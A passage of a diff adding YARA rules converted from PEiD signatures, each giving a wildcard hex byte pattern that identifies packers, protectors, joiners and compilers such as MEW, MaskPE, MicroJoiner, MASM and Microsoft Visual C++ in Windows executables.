+        $a = {E8 A3 02 00 00 E9 35 FD FF FF FF 25 C8 20 00 10 6A 14 68 C0 21 00 10 E8 E4 01 00 00 FF 35 7C 33 00 10 8B 35 8C 20 00 10 FF D6 59 89 45 E4 83 F8 FF 75 0C FF 75 08 FF 15 88 20 00 10 59 EB 61 6A 08 E8 02 03 00 00 59 83 65 FC 00 FF 35 7C 33 00 10 FF D6 89 45 E4 FF 35 78 33 00 10 FF D6 89 45 E0 8D 45 E0 50 8D 45 E4 50 FF 75 08 E8 D1 02 00 00 89 45 DC FF 75 E4 8B 35 74 20 00 10 FF D6 A3 7C 33 00 10 FF 75 E0 FF D6 83 C4 1C A3 78 33 00 10 C7 45 FC FE FF FF FF E8 09 00 00 00 8B 45 DC E8 A0 01 00 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00999_MaskPE_1_6____yzkzero_
+{
+    meta:
+        description = "[MaskPE 1.6 -> yzkzero]"
+        ep_only = "false"
+    strings:
+        $a = {36 81 2C 24 ?? ?? ?? 00 C3 60}
+    condition:
+        $a
+}
+
+rule PEiD_01000_MaskPE_V2_0____yzkzero_
+{
+    meta:
+        description = "[MaskPE V2.0 -> yzkzero]"
+        ep_only = "false"
+    strings:
+        $a = {B8 18 00 00 00 64 8B 18 83 C3 30 C3 40 3E 0F B6 00 C1 E0 ?? 83 C0 ?? 36 01 04 24 C3}
+    condition:
+        $a
+}
+rule PEiD_01001_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "true"
+    strings:
+        $a = {6A 00 E8 ?? 0? 00 00 A3 ?? 32 40 00 E8 ?? 0? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01002_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 ?? 0? 00 00 A3 ?? ?? 40 00 ?? ?? ?? ?0 ?0 ?? ?? 00 00 00 ?? ?? 0? ?? ?? ?0 ?? ?? ?0 ?0 ?? ?? ?? ?0 ?? 0? ?? ?0 ?0 00}
+    condition:
+        $a
+}
+rule PEiD_01003_MASM___TASM_
+{
+    meta:
+        description = "[MASM / TASM]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 E8 ?? ?? 00 00 A3 ?? 32 40 00 E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+rule PEiD_01004_MASM_TASM___sig1_h__
+{
+    meta:
+        description = "[MASM/TASM - sig1(h)]"
+        ep_only = "false"
+    strings:
+        $a = {CC FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_01005_MASM_TASM___sig2_h__
+{
+    meta:
+        description = "[MASM/TASM - sig2(h)]"
+        ep_only = "false"
+    strings:
+        $a = {C2 ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_01006_MASM_TASM___sig4__h__
+{
+    meta:
+        description = "[MASM/TASM - sig4 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {C3 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+/*
+rule PEiD_01007_MASM_TASM___sig4__h__
+{
+    meta:
+        description = "[MASM/TASM - sig4 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00 FF 25 ?? ?? ?? 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01008_MASM32_
+{
+    meta:
+        description = "[MASM32]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 00 30 40 00 68 ?? 30 40 00 6A 00 E8 07 00 00 00 6A 00 E8 06 00 00 00 FF 25 08 20}
+    condition:
+        $a
+}
+
+rule PEiD_01009_Matrix_Dongle____TDi_GmbH_
+{
+    meta:
+        description = "[Matrix Dongle -> TDi GmbH]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 E8 B6 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? E8 00 00 00 00 5B 2B D9 8B F8 8B 4C 24 2C 33 C0 2B CF F2 AA 8B 3C 24 8B 0A 2B CF 89 5C 24 20 80 37 A2 47 49 75 F9 8D 64 24 04 FF 64 24 FC 60 C7 42 08 ?? ?? ?? ?? E8 C5 FF FF FF C3 C2 F7 29 4E 29 5A 29 E6 86 8A 89 63 5C A2 65 E2 A3 A2}
+    condition:
+        $a
+}
+
+rule PEiD_01010_Matrix_Dongle____TDi_GmbH_
+{
+    meta:
+        description = "[Matrix Dongle -> TDi GmbH]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 E8 00 00 00 00 59 5A 2B CA 2B D1 E8 1A FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01011_MEGALITE_v1_20a_
+{
+    meta:
+        description = "[MEGALITE v1.20a]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+    condition:
+        $a
+}
+
+rule PEiD_01012_MESS_v1_20_
+{
+    meta:
+        description = "[MESS v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? FA B9 ?? ?? F3 ?? ?? E3 ?? EB ?? EB ?? B6}
+    condition:
+        $a
+}
+
+rule PEiD_01013_MetaWare_High_C___Phar_Lap_DOS_Extender_1983_89_
+{
+    meta:
+        description = "[MetaWare High C + Phar Lap DOS Extender 1983-89]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8E D8 B8 ?? ?? CD 21 A3 ?? ?? 3C 03 7D ?? B4 09}
+    condition:
+        $a
+}
+
+rule PEiD_01014_MetaWare_High_C_Run_Time_Library___Phar_Lap_DOS_Extender_1983_89_
+{
+    meta:
+        description = "[MetaWare High C Run-Time Library + Phar Lap DOS Extender 1983-89]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 50 B8 ?? ?? 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01015_Metrowerks_CodeWarrior__DLL__v2_0_
+{
+    meta:
+        description = "[Metrowerks CodeWarrior (DLL) v2.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 57 8B 75 0C 8B 5D 10 83 FE 01 74 05 83 FE 02 75 12 53 56 FF 75 08 E8 6E FF FF FF 09 C0 75 04 31 C0 EB 21 53 56 FF 75 08 E8 ?? ?? ?? ?? 89 C7 09 F6 74 05 83 FE 03 75 0A 53 56 FF 75 08 E8 47 FF FF FF 89 F8 8D 65 F4 5F 5E 5B 5D C2 0C 00 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01016_Metrowerks_CodeWarrior_v2_0__Console__
+{
+    meta:
+        description = "[Metrowerks CodeWarrior v2.0 (Console)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 55 B8 FF FF FF FF 50 50 68 ?? ?? ?? ?? 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01017_Metrowerks_CodeWarrior_v2_0__GUI__
+{
+    meta:
+        description = "[Metrowerks CodeWarrior v2.0 (GUI)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 53 56 83 EC 44 55 B8 FF FF FF FF 50 50 68 ?? ?? 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? 00 00 E8 ?? ?? 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01018_MEW_10_by_Northfox_
+{
+    meta:
+        description = "[MEW 10 by Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {33 C0 E9 ?? ?? FF FF ?? 1C ?? ?? 40}
+    condition:
+        $a
+}
+rule PEiD_01019_Mew_10_exe_coder_1_0____Northfox__HCC__
+{
+    meta:
+        description = "[Mew 10 exe-coder 1.0 -> Northfox [HCC]]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 E9 ?? ?? FF FF 6A ?? ?? ?? ?? ?? 70}
+    condition:
+        $a
+}
+/*
+rule PEiD_01020_MEW_11_SE_1_0____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE 1.0 -> Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_01021_MEW_11_SE_1_1____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE 1.1 -> Northfox]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 0C ?? ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01022_MEW_11_SE_1_2_
+{
+    meta:
+        description = "[MEW 11 SE 1.2]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01023_MEW_11_SE_v1_0____Northfox_
+{
+    meta:
+        description = "[MEW 11 SE v1.0 -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C ?0}
+    condition:
+        $a
+}
+
+rule PEiD_01024_MEW_11_SE_v1_1_
+{
+    meta:
+        description = "[MEW 11 SE v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01025_Mew_11_SE_v1_2__Eng_____Northfox_
+{
+    meta:
+        description = "[Mew 11 SE v1.2 (Eng) -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01026_MEW_11_SE_v1_2____Northfox_HCC_
+{
+    meta:
+        description = "[MEW 11 SE v1.2 -> Northfox[HCC]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_01027_MEW_11_SE_v1_2_
+{
+    meta:
+        description = "[MEW 11 SE v1.2]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? FF 0C ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 0C ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01028_MEW_5_1_0____Northfox_
+{
+    meta:
+        description = "[MEW 5 1.0 -> Northfox]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0}
+    condition:
+        $a
+}
+
+rule PEiD_01029_Mew_5_0_1____NorthFox___HCC_
+{
+    meta:
+        description = "[Mew 5.0.1 -> NorthFox / HCC]"
+        ep_only = "true"
+    strings:
+        $a = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D}
+    condition:
+        $a
+}
+
+rule PEiD_01030_MicroJoiner_1_1____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.1 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BE 0C 70 40 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+    condition:
+        $a
+}
+
+rule PEiD_01031_MicroJoiner_1_5____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.5 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01032_MicroJoiner_1_6____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.6 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 64 8B 38 48 8B C8 F2 AF AF 8B 1F 66 33 DB 66 81 3B}
+    condition:
+        $a
+}
+rule PEiD_01033_MicroJoiner_1_7____coban2k_
+{
+    meta:
+        description = "[MicroJoiner 1.7 -> coban2k]"
+        ep_only = "true"
+    strings:
+        $a = {BF 00 10 40 00 8D 5F 21 6A 0A 58 6A 04 59 60 57 E8 8E 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01034_Microsoft__R__Full_text_index_file_
+{
+    meta:
+        description = "[Microsoft (R) Full-text index file]"
+        ep_only = "false"
+    strings:
+        $a = {6C 6C 2D 74 65 78 74 20 69 6E 64 65 78}
+    condition:
+        $a
+}
+rule PEiD_01035_Microsoft__R__Incremental_Linker_Version_5_12_8078__MASM_TASM__
+{
+    meta:
+        description = "[Microsoft (R) Incremental Linker Version 5.12.8078 (MASM/TASM)]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 68 00 30 40 00 68 1E 30 40 00 6A 00 E8 0D 00 00 00 6A 00 E8 00 00 00 00 FF 25 00 20 40 00 FF 25 08 20 40}
+    condition:
+        $a
+}
+
+rule PEiD_01036_Microsoft_Access_Database_file_
+{
+    meta:
+        description = "[Microsoft Access Database file]"
+        ep_only = "false"
+    strings:
+        $a = {00 01 00 00 53 74 61 6E 64 61 72 64 20 4A 65 74 20 44 42 00}
+    condition:
+        $a
+}
+rule PEiD_01037_Microsoft_Basic_Compiler_v5_60_1982_97_
+{
+    meta:
+        description = "[Microsoft Basic Compiler v5.60 1982-97]"
+        ep_only = "true"
+    strings:
+        $a = {9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 9A ?? ?? ?? ?? 33 DB BA ?? ?? 9A ?? ?? ?? ?? C7 06 ?? ?? ?? ?? 33 DB}
+    condition:
+        $a
+}
+
+rule PEiD_01038_Microsoft_C__1988_1989__
+{
+    meta:
+        description = "[Microsoft C (1988/1989)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? CD 20 BF ?? ?? 8B ?? ?? ?? 2B F7 81 ?? ?? ?? 72}
+    condition:
+        $a
+}
+
+rule PEiD_01039_Microsoft_C__1990_1992__
+{
+    meta:
+        description = "[Microsoft C (1990/1992)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? 33 C0 06 50 CB BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7}
+    condition:
+        $a
+}
+
+rule PEiD_01040_Microsoft_C_for_Windows__1__
+{
+    meta:
+        description = "[Microsoft C for Windows (1)]"
+        ep_only = "true"
+    strings:
+        $a = {33 ED 55 9A ?? ?? ?? ?? 0B C0 74}
+    condition:
+        $a
+}
+rule PEiD_01041_Microsoft_C_for_Windows__2__
+{
+    meta:
+        description = "[Microsoft C for Windows (2)]"
+        ep_only = "true"
+    strings:
+        $a = {8C D8 ?? 45 55 8B EC 1E 8E D8 57 56 89}
+    condition:
+        $a
+}
+
+rule PEiD_01042_Microsoft_C_Library_1985_
+{
+    meta:
+        description = "[Microsoft C Library 1985]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 81 C4 ?? ?? FB 73}
+    condition:
+        $a
+}
+
+rule PEiD_01043_Microsoft_C_v1_04_
+{
+    meta:
+        description = "[Microsoft C v1.04]"
+        ep_only = "true"
+    strings:
+        $a = {FA B8 ?? ?? 8E D8 8E D0 26 8B ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 04 D3 E3 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01044_Microsoft_C____1990_1992__
+{
+    meta:
+        description = "[Microsoft C++ (1990/1992)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 30 CD 21 3C 03 73 ?? 0E 1F BA ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01045_Microsoft_C_
+{
+    meta:
+        description = "[Microsoft C]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? B8}
+    condition:
+        $a
+}
+
+rule PEiD_01046_Microsoft_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft CAB SFX module]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20}
+    condition:
+        $a
+}
+
+rule PEiD_01047_Microsoft_CAB_SFX_
+{
+    meta:
+        description = "[Microsoft CAB SFX]"
+        ep_only = "true"
+    strings:
+        $a = {E8 0A 00 00 00 E9 7A FF FF FF CC CC CC CC CC}
+    condition:
+        $a
+}
+rule PEiD_01048_Microsoft_FORTRAN_
+{
+    meta:
+        description = "[Microsoft FORTRAN]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? B9 ?? ?? 9A ?? ?? ?? ?? 80 ?? ?? ?? ?? 74 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_01049_Microsoft_Resource_Cursors_file_
+{
+    meta:
+        description = "[Microsoft Resource Cursors file]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 02 00 01 00 20 20 00 00 ?? 00 ?? 00 E8 02 00 00 16}
+    condition:
+        $a
+}
+/*
+rule PEiD_01050_Microsoft_Visual_Basic_5_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01051_Microsoft_Visual_Basic_v5_0___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0 - v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 ?? 00 00 00 30 ?? 00}
+    condition:
+        $a
+}
+
+
+rule PEiD_01052_Microsoft_Visual_Basic_v5_0___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0 - v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF}
+    condition:
+        $a
+}
+
+
+rule PEiD_01053_Microsoft_Visual_Basic_v5_0_v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0/v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01054_Microsoft_Visual_Basic_v5_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? ?? ?? ?? ?? ?? FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+
+rule PEiD_01055_Microsoft_Visual_Basic_v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual Basic v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01056_Microsoft_Visual_Basic_v6_0_
+{
+    meta:
+        description = "[Microsoft Visual Basic v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF ?? ?? ?? ?? ?? ?? 30}
+    condition:
+        $a
+}
+*/
+rule PEiD_01057_Microsoft_Visual_C_2_0_
+{
+    meta:
+        description = "[Microsoft Visual C 2.0]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68}
+    condition:
+        $a
+}
+rule PEiD_01058_Microsoft_Visual_C_5_0_
+{
+    meta:
+        description = "[Microsoft Visual C 5.0]"
+        ep_only = "false"
+    strings:
+        $a = {64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 A8 53 56 57}
+    condition:
+        $a
+}
+
+rule PEiD_01059_Microsoft_Visual_C_v2_0_
+{
+    meta:
+        description = "[Microsoft Visual C v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 BB ?? ?? ?? ?? 8B ?? ?? ?? 55 3B FB 75}
+    condition:
+        $a
+}
+rule PEiD_01060_Microsoft_Visual_C____Basic__NET_
+{
+    meta:
+        description = "[Microsoft Visual C# / Basic .NET]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01061_Microsoft_Visual_C__v7_0___Basic__NET_
+{
+    meta:
+        description = "[Microsoft Visual C# v7.0 / Basic .NET]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_01062_Microsoft_Visual_C____3_0_old_crap__
+{
+    meta:
+        description = "[Microsoft Visual C++ (3.0 old crap)]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 ?? ?? 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 ?? ?? ?? ?? ?? 00 00 83 EC 10}
+    condition:
+        $a
+}
+rule PEiD_01063_Microsoft_Visual_C___4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ 4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89}
+    condition:
+        $a
+}
+
+rule PEiD_01064_Microsoft_Visual_C___5_0___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 5.0 - 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC 04 01 00 00 68 04 01 00 00 8D 85 FC FE FF FF 50 6A 00 FF 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D FC FE FF FF 51 E8 ?? ?? ?? ?? 83 C4 04 E8 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 8B E5 5D C2 10 00}
+    condition:
+        $a
+}
+
+rule PEiD_01065_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {3D 00 10 00 00 73 0E F7 D8 03 C4 83 C0 04 85 00 94 8B 00 50 C3 51 8D 4C 24 08 81 E9 00 10 00 00 2D 00 10 00 00 85 01 3D 00 10 00 00 73 EC 2B C8 8B C4 85 01 8B E1 8B 08 8B 40 04 50 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01066_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+    condition:
+        $a
+}
+rule PEiD_01067_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51}
+    condition:
+        $a
+}
+
+rule PEiD_01068_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01069_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {8B 44 24 08 85 C0 0F 84 ?? ?? ?? ?? 83 F8 01 8B 0D ?? ?? ?? ?? 8B 09 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 20 00 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_01070_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C 75 09 8B 44 24 04 F7 E1 C2 10 00 53 F7 E1 8B D8 8B 44 24 08 F7 64 24 14 03 D8 8B 44 24 08 F7 E1 03 D3 5B C2 10 00}
+    condition:
+        $a
+}
+rule PEiD_01071_Microsoft_Visual_C___6_0_DLL__Debug__
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 DLL (Debug)]"
+        ep_only = "false"
+    strings:
